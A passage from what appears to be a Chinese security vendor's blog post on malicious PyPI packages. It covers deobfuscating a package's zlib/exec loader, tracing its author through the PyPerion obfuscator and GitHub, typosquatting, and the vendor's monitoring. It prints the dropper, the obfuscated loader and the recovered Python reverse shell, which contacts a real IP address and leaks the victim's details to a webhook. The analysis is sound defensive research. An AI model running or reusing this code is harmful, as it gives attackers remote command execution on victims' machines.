17\xed\xfc\x011yr\xd0O\x80\xe5\x1a\xf6\xbf\x80\x03]\xd0\xd6\xff\x0f\xc0\xba\x11\xdf'))"""
from os import environ, startfile
open(environ['appdata']+'/mal.pyw','w', encoding='utf-8').write(m)
startfile(environ['appdata']+'/mal.pyw')

由上面的代码可知,攻击者将变量m写入mal.pyw中,并进行执行。很明显,最终执行的代码经过了复杂的混淆操作,非常难以分析。

观察代码可知,其利用了python的转义字符来进行混淆,\x转义符会将后面两个字符解释为16进制表示的字符。\xaa等同于chr(0xaa),即为字符a。我们利用astastunparse处理了源代码,并替换了其中复杂的变量,最终得到化简结果如下所示。

from builtins import *
B = (lambda G: G['decompress'])
C = (lambda G: G(__import__('zlib')))
D = (lambda G: globals()['eval'](globals()['compile'](globals()['str']("globals()['\\x65\\x76\\x61\\x6c'](G)"), filename='oODDoOoDDoODoDDODD', mode='eval')))
E = (lambda H, G: H(G))
F = (lambda : (lambda G: globals()['eval'](globals()['compile'](globals()['str']("globals()['\\x65\\x76\\x61\\x6c'](G)"), filename='oODDoOoDDoODoDDODD', mode='eval')))("__import__('builtins').exec"))

F()(E(B(C(D('vars'))), b'x\x9c\xed\x1bko\xe2H\xf2\xfb\xfc\x8a\xd3~1(;\xa3v?\xedH\xf3\r\x9d\x94Q2|\x98\x95rR\x14!\xc0f\x8f\x93\xc1\xab\x84\xecp\xff\xfe\xaa\xaa\xbbqc0\xd8\xc02s\x97\xa3S\xfd\xa8~\xb8\xbb\xba\xbb^v\x8ar:.^{\xfd\xa7\xe8\xae\x80\xdf\x1d\xfc\n\x0bE\x11=\x7f\xfe\xbd(\'P\xffa\xb7\x12\xbb,\x17\xcb\xc5b\xb1\x84\x04\x7f\x0bL\x17\xd1\xd3\xed\xed\xcd\xc7\x9b\x8f\xbd\x8f\xbd\x9b\xb8\xdf\x7f~\xfe\x9c\xcd_\x1a\xfa?>\xfe\x03\x03\xfcl\x04e\xc8\xed\x8e\xf0{\xbe\x1a\xafVM\xa3\xac\xd7\xeb\xef\xfe\x07\xb9\xb5\x03\x98}A\x8b\xfb\xd0\xd0\x00\xfb\x16v\x9cpH\x00\xe8:\x1a\xcd\x17\x7f\x94/\xab\xd1\xa8\xe1\xa9\xf7w\xf7\xf7_\xbe\xdc\xc1\x1f\xa6\xf7w\x90\xa3\xf8\x0e\x9f\xbbw\xd4^4y\x9b\x17\xab\xf9\xf25\xea\x7f\xfas\xfc\xf2\xfa\xa1q\x0cZ\xd6w\x0c8\xd5\xf5\xdaNy\rC#\xa5\x88N\x9ef\x18\x1e{MO|]\xceW\xc5\xfcmR\xa7i\xff\xd7\x85\xdb0\xda8\xda\xc6\xc5\xb2\xfb0\xfd\xa7\x0b\x8d\xf3i\xbe\xcc\xf2u/*\xcar\xb7\xf6\xb9\xdf\xb0\t\x05\xa2\xdd\xf8\x85mR\xd0\xb3\xde\x01\xa5\xf2\xd7b\xfc\xf7\xf6\xa4\xfa\xf6\x8ds\x07\x10\xbb|w2\xcd\xe7\xd3\xd7\xf1r~.\x99\x1a\x87\xe9H\xa6\xe6q<\x99\xfe=\x9b\x17\xeb\xfc\x9f\xcb\xb7\xf6\xa4rL\t\xb9\x93\x85\xc7\xf7p\x9c\x8a\xf9\x1f\x8br\xda\x9eJ\x0f_\xf1\xf7\xf0`\xff \xfaJ\x98\x87w@\xabb\xfcg\xbe\x8fP\x07\xf9\xf9\x90~%+\xd9\x10a\xc8\x18\xc3\xc2; \xd7j\\\x16\xb3\xf6\x07\xab\x1c \x9d\x86\x83a9\x80P\x0e\x87\x83w@\xa3\x97\xd5k\xe7\x13\x05\xb4\x19 \x95\x80H\x98\x0e\xcbw@\xa7\xfc\xed\xe5\xb7}\x84:\xa0\xe3\x81\xc0\xfb\xe6\x81[\xd1g\x8b@\xae(\xfa\xf4\xafr\xbe\xdc\x7f\x12\xf7\x8a\xcc\xde$\x92S\x08c\x80\x94\xe2)\xe50\x8f\xe0\xf1\x1e\xb04\x05\x85/\xcb\xa7e\x96\xf7\xa2d\xb6\xda#\x8a\xfe\xe7\xf7m\x9a\xaf\xbb\xb3\xcc\x12\x18$1\xcd\x12X&\xe61P\x14\x0e\xd5$\x88zQ?\x86\x06\xacU\xdb\xa6\xbd\x16\xa9\x9a\t\x05\xc0\x01\x12\x07\x12\x80\x01\xc4\x0e\x18\x9f\xf0\x84gG\xdbb\x9a\xf2\xf4\xd8i\xe8\xdb\x08\x0c\x9f\xce\xd3\xe5\x86\x9b\xa3\xc3\x1f$z\xd3\xc8:\xa3\x90S\xc8\\\\\x95!w\xfc\x90\x9f\xb0\x1c\xf3W.\xc8/!\xdb,*\\\xe0V\xcd\xf1\xc5\x15\xe3\xc5$\x1b\xff\xcd\xc9.\x14]\x98\x80\xf4*\x87\xb7\x8d\xdc\xe9\xb4\x99O5p\x15\x1bW\xa9\xcd\xd9\x80yy\xf4\x9c\x9d\xb4!\xcaH%\xb9L\xe4\x0c\xc2\x843\x91q\xc6\xb9N\x8c\x84\xc0\xc4\x98\xcf\xf8L\'z\x06abR\x9ek\t!7\x82#!\xa13\x9f\x19\xa1\x15\xe4!\'c\xa3\xb4Q\x1c\xa6\x1c\xc3\x94\'P\xcb\xd5T\xe7\x7f\xd9\x96\x07\xa7uk\xfb\xb3\x9d#\x00\x98\xd6[\xee\r\x05\xcb\xc3\x89\x8f?\x92\xf5p\xe1}7\xd5/\t\x82\xd9\x8e[O\xdb\xb1u\x17St{`Z\xa7Q\x1c\x0f\xe5\x98\xe2\x14\xd21\x1d\xcf\x940\xfe\xb8z,\xe5ZO~\xed\t\xbaq\x93|\xb7\xb4\xbd\xdd\'\xca\x8fh\xe6(e\xac^\x0eR\x86\xe1\x05\x86\xdfyb#\xe6\x19\x89\x04\xd6\x8e\xddW\xec\x03u9\xd4yA\x0b.\xad\x12|\xe2)\x8a\xee\xa1\xe2\xde\xd6\xdd\xbbj,\xb5\x14\x9d\x0c\x1a\xc4W\xa5\xc1\x16\x1d\xc8\xb1c\xb7\x8fR\x08\'\xec\xac\xf7\r\xb9\x11\xa8/\xf9\x88~\xcc\xe6\xe2\\an0O\x9c0d\xbf\xe0\xc6\x9c\xba\xbf\x03k\x1e\r\xdcY\xa1\xc3\x02\xb6\xd2Y+\xd3Nc1N\x8b\x11.\x8f\xf8\xd4\x95S\xa7\xed\xb4i\x9bt\xa4\x10^fZ?Q\x00\xa2\x8bs$b\x94!\xf8\\\xf8k\xc1DO\x10\x9d\xdbBRH\xa1x.b\xa1\x80J\xb90\xc2@\xcc\x05\x13Z\x8c\x01\xc7 p\x10\xa5\x02\x04\xa9\xd4\xd0\xd20\x10\xa7g\n\xc6\xc8\xf3\xca\xb5?d\xdf\xcf\xd7\x8e\x8d;\x07"\xd0x\x8d\x83\xbav|\xa8m\x07\xedxs^\xfc\xddv\xcc\xc2\xde\xef\xe2\x04V\xd1h\xeb\xa5\x1b\xfb.uV\xde\xd4\xd9y\x95\x05HV`k\xd1\xe5\xd8:0\xfa\xe1\x80.\xf0\xa0<x\xca\x9bM\xdb\xc6Ig2\xdf\x84\x8cJU\x9c\xb9\xda\xaa\xcdqM\xa7\xd7}\x0e*Q\xc6AB\xa9qq\x95\x1e=\xcc\xcf\xbd_h\xc7\xe3\x1b@A\xc5\xcd\xed\xedS\xf4\xb6\x9a%Q/\xcf\xcai\x9e}\xeaG\xa0Tjffz\xcaQ\xadL@\xa1d\\\x82\xd10\x03l\x06J\x06\xe3\xc2\xe4\x90J\x83\x8a\x872\x1c0\x19\xdc)\xb8\x8e:\x9a\xf4\xdc\xec!\xe6\xd5Jz\xcf^"\x1dzrJ\xca/\x9cl\x1e\x8b\xc6\x91\xec\x05\xfaj\xaf\x93\xfd#L8.l\xb9\x15\x05\xb8\xe1\xb8\xef_\xeeHt\xdfGO\xfd^E\xec`\x07\xd6\xeb_\xcef\xf3*\xb8~\xfe:2\xc7\xcaupm\x8f\xb5U\xed\xaf\xed\xaf\xb3y\x91/\xc7\x8b\xfcsDS|xpd\x81\xe8|\xb9\xa5\x9c\xdcI\xdc$\xb9\xe3?\x9e\xef\xe8\xda\x82\x0e\xb5U-\x17\xb4\x80\xfa\xcf;\xfe\xe0\xee\xf3gN\xa3\x88\xdb\xaaJ\xa71\xb3\x8b\xf3\x85N~\xb3k\xb1\x84\x94\xa3\xf5\xc9\x04\xc4\xd2\x05\xb4G%a<\xde\xc3&\x97l\x18H3[8\xf6dr\xf6\x05\xce?[\xf2\xf9\xd49\x0b=\x1e\xf3M\xcf:\xf3\xe6w\xd1\xdf\xa3>\x1f\xa9\x91\x19\xc9Q\x02\xc1\x8c\xd8\x88\x8fR\xe8 v\xb1W\xb7\x07\xb6\xb9F\xe3\xb9\xce\x83\xf3\xeb\xcfp\x08\xd5\xb9\xce\xda\x9ck{\xad\x1bmZ\x05\xa2#\xd6G\x05\xfe1]\xacI4\\\x95\x93<\xf7Na$\x97\xb9\xc9\x8d*\xba\xf7k\xd4\x7f\xc9\xc6\xf7\x11\xa4\xb0\xdaTM\x14\xa8\xcc\xa0=\xf3\xed\xd4\xe6\xb7\xf1<\xd1\x9c\x1b!\xb5p\x10\xdbT\xa4U\xde\x03\xe2<~S_k\xbfS\xef\xeb\x047\xdc:\xc0\xd4F\x8bO\xe0\xc9\x89\xd6`\x05(n\xd4\x044\xfd1H\xa5\x8c !\x98\xe0\xce\xc1\x8a2\x82\xa4\xf3\xba\xe0Q`K\x00/\xd3\x90\xd3\x92,\n\x03\x8d,NX\x80\xf9i\xea\xcfl\x1e\xda\x19\xcck\xdb\x17\xa8\xe3\xfaA\x1f\xea\x1b\xd3\x186/\xb0\xfe\xdc\xb5\x1d?\x9d\xc7\xaf}\xe0\x86\x0e\xddwU\xd8\xb8\xaa\xafv\xe1\x7f\x06]\xfd\xa7\x94\xc99\xa9\xdc)\x1c\x0fR\xd8wT\xf4Yk\xb5\xfc\xaa\xaay\n\x92/&9h \xc6\x92\x82\xea]\xac\xecG\xe7\xab\xfa\xde\x88\xf5~\xaa\xe2\xae\xa5\xac\x8fABs\x98Q\n\xc0Ab\xab\x11\x87\x0e|\x17{\xa6\xfcv\x8a\xb3p\x10*\xcc\xfeUX\xec\x94\xec6m;\xe8\x01-\x98\x01\xeapr\xa3\xd1a\x0e\x7f\x81\x0e(\xe5\xd5\xd8\xc0\x81/fN\x15\xf8\xdd4:\t{\x8e;\xaePk\x838\x81\xe6\xaa\x8e\xfb!\xda\xdcO\xca\x9fRX\x8b\x021\x86\x0e7Ls\x8e\x18\x10\xe8P\xe2\x06KP\xde\xa3\x8e$5o"\x00\xf068\xe6pZ\xf0\xed\x16W\xf9v\x19\xea7.\x0b\x8d\xaf\xd3\xea\xf5\x13\x0e\xd6\x81F\xf0\xc1:\x9e|\xce\xa6\x18g\xc2\xcf\xf8\x12\x1cS\x88\x99\x02\xdbHa\xca\x01\xd2\xa0\xac\x01$\x01\x89q.[\xb5=\x8b\xf3\xc6`q\xe8\x91\x80X\x00\x1f\x03+\x04*\xeb8s\t\xae{\x9e\x99u\x81/\x0c\xe2\xc0\xa9\xe2\xbf \xd0\x01\x0e\xcb&`\xab\xc7\xda\xeaS\xd8j\x84\xf3\xb4\xb4\xb3\x13\xf7\xf3n\xcb\x9dP\xc2\xa0\xa4a$\x1b5\x944\xd9\x90;\xd8\xeb\xbd\x7f\x12\x8e8^\xde\xe8\xe0e\x059\xa2\x1dQ\x8f\xb5\x13\x1d\xed\xd5kX\x8f?X\x9d\x8c\xdc;nz\xcfm\xbfV\xba\xde\xbevv\x96\xa1\xd4i$\xd8\xd4\xf9e\xc6\x9b\x0f\xb8\xaa\xb2\xff\xb0+\xcc\xa7\xff78\xb7\xd6\x85\xc6\xa25\x1aS\xb0,cgD22\x16\xb5\x86f"\x81\xb9I\x00\xb5\x07dP\xb7//k}\xf7\x8d#\xe9\x190-\x02\x9c\x1d\xc2\xa1r\x88?\xd4\x1e\xc7\xb5\x862\x9a\xbd\xda\x81\xa9\xf5\x95\xc2\xff4\x18\xca\x82\x0ce\xe1FS\xae\xbdp}U\xd0\xdf\xe3}{C\xcf\xaa\xdai\xa2\xa1\xd8zv\x1a\xf4\xd7\x14\xaav\xca\xf5\xf7c\x9b#\xcf\xf7\xfd\x10\x1f\xbb\xb2\x0c\xda\xf1\xcd\x18\x16o\\\xea\xe7+]?l\xc3\x82T:\xd0A}X\x0e\xe9\xb3\xbd\x8e\xddy\xa4\xb5y\x9a\xad\xe7\xd7\xdb\tG\xc7\xedq\xab\xf5W\xcf\xf1\xf8p=!\xad\xeb\xcf\x95\xb5\xf1\x8c\xd8\xdd?\x15<\xbf\xbe~\x1e\xe0\xf9\x86N\xdb\xf4\x0e\xf7[\xd5\xc6eb\xdf\xbeW\xf3\xe0b\x97~\xa7\xce/<7\xaca\x1eim\x9cdk^\xda\xed\xad\xde\x1a\'\xecW\xdd!N\xdc#\x15\\\xdbs\xa6\xdd\xf3\xc8\x81\xe5\xcax\x0f\xed\x1dL\x9c\x83K\x92C\nq\xa03\x13\xdfA\xe0\x90\xe7\xc8\x0f|\x8a\xfd6)\xa7\xf5\xd2\xb3\x00\x14\xe1S\xf7lAN\xb0\nT\x00\xb2\x96\xdfW/\x1d\xaf\xb3\xeb0\x1489\xd7L\xb0\x86\xddu\xa5\x82!\xcf$\xc7\x9a\xab\xa7<\xa3~\xb8&\xcbKcO\xb5k:\xde\xa2\xcd\xb7l\xf4Mr\xfd\x9f\xf3\x0eHy|w\xc0@\xe3\x8b\xc9O\x92B\x1e-P\xb9\x8bm\xab5@k|\x13\xc1\xc8\xe3\x92\x80\xfe\x8fo(\xe2]\xec\xf5\xb4\x10\xff\x19C\x1ch\x8a\xfe\xf3\x86\xd4\xe1\x85\xd30\xdb\xb4\xe5\xdd\xb4\xccS^?\xe2\xbe0\x08\n)\x054KA#W\xb4/;\xd8\xeb}`}\x826\xe7^\x81v\xfbh\xff\xe2\x8a\xf1\xc1\x97;\'\xeb\xc71\xed\x00wvn\x82\xf7\x84|y;\xd8\xf3\xa8\xce\xdd\xc9\x93\x81\xbd\xa3\x82\x17\xe22\xf0\xe5\xb5i\xdb\xe5\x1b\xbfV\xee\x18\xef\xda\xf8\xe9^\xcb\x9e\xe8\xa5=\xb8\x13\xccQ1\t\xf2\xde\xa4\xe7\x81\xa5\xda\xa6mKk5\xe0\xf2\xf4\xbd+\x1b\xd2\xff\xa51\x88\x19\x15\xf1?\xaf.\xce\x05\xa2>r\x17\xed\xfc\x011yr\xd0O\x80\xe5\x1a\xf6\xbf\x80\x03]\xd0\xd6\xff\x0f\xc0\xba\x11\xdf'))
观察代码可知,其应该是包含了一段经过zlib压缩后的代码,最终通过exec执行。Fexec,所以我们删去它,执行剩余代码得到如下结果。

可以看到又是经过混淆的一段代码,结合我们的分析,我们简单总结了一下这个样本的混淆流程,如下图所示。

经过简化处理后,我们得到了如下代码

从中我们发现了一个python代码,下载之后如下所示

from socket import socket, SOCK_STREAM, AF_INET
from subprocess import check_output
from urllib import request
from json import dumps
from os import environ

HOST = ('45.158.77.206', 5000)

client = socket(AF_INET, SOCK_STREAM)
client.connect(HOST)
addr_info = client.recv(1024).decode().split(':')
client.send(b'1')

json = {
    'content': f"""@everyone
```
New Victim
------------------------------------
COMPUTER NAME : {environ.get('username', 'NONE')}
IP ADRESS : {addr_info[0]}
PORT : {addr_info[1]}
```"""
}
user_agent = 'Chrome/103.0'
headers = {
    'user-agent': user_agent,
    'content-type': 'application/json'
}

req = request.Request(WEBHOOK, dumps(json).encode(), headers)
request.urlopen(req)

while True:
    cmd = client.recv(1024).decode('ascii', errors='replace')
    try:
        output = check_output(cmd, shell=True)
    except Exception as error:
        output = str(error).encode()
    if not output: output = b'0'
    if len(output) > 1024:
        req = request.Request('http[:]//45.158.77.206:5003/new', data=dumps({'content': output.decode(errors='replace')}).encode(), headers={'content-type': 'application/json'})
        res = request.urlopen(req)
        output = f"Output too long ! full output on : {res.read().decode()}".encode()
    client.send(output)

代码文件目前只是一个简单的探查工作,应该是攻击者的前置准备阶段。

分析完代码,我们对作者进行了调查分析,从PyPI官方仓库中可知这个作者一共发布了3个包,而其中的PyPerion正是用于混淆上述攻击代码的工具。

PyPerion中包含了GitHub信息,我们据此找到了作者的GitHub仓库,从中可以发现他fork了一个discord的仓库。

通过观察其commit记录,我们发现他把自己发布的恶意包导入了该仓库,猜测有可能是想通过pull-request来污染原仓库的代码。

同时,我们在作者的另一个仓库发现了一个新的用户,结合用户名和我们之前获得的域名相关信息,怀疑是真正的作者。

从这个包的分析过程我们不难发现,现有的恶意包攻击非常隐蔽,可以通过包下载安装过程来进行攻击。无文件攻击越来越流行,所有的攻击代码都放置在攻击者服务器上,通过url直接下载加载到内存中执行。大量的混淆也给安全分析工作造成了很大的困难,对安全分析提出了新的挑战。

4、Typosquat类

包名混淆一直是攻击者喜欢的攻击方式,其通过用户的误输入来达到攻击的目的。我们之前的文章对此类攻击做过详细的分析(【天问】PyPI再遭Typosquat投毒,python-dateutils竟是挖矿脚本? 【天问】近期针对aiohttp包的typosquatting攻击汇总 【天问】5月PyPI恶意包汇总(20220501-20220531))。在此我们提醒用户不要安装未知包,并且在安装包时注意包名的准确性。

5、总结

PyPI目前面临的恶意包威胁依然十分严峻,仅过去一年天问Python供应链威胁监测模块就监控到了2万多个恶意包。 从分析结果看,恶意包的攻击手段越来越多,而且也更加隐蔽。无文件攻击,编码,代码混淆,文件加密,这些技术的应用让安全分析的难度陡然增加。软件供应链的特性也让这些攻击难以被用户察觉。而天问Python供应链威胁监测模块通过持续不断地对PyPI和镜像源的监控,可以第一时间检测到新发布的恶意包。同时,结合天穹沙箱强大的分析能力以及庞大的威胁情报数据库,我们能够及时地对这些恶意包的攻击行为进行预警,极大地降低其对Python生态环境的影响。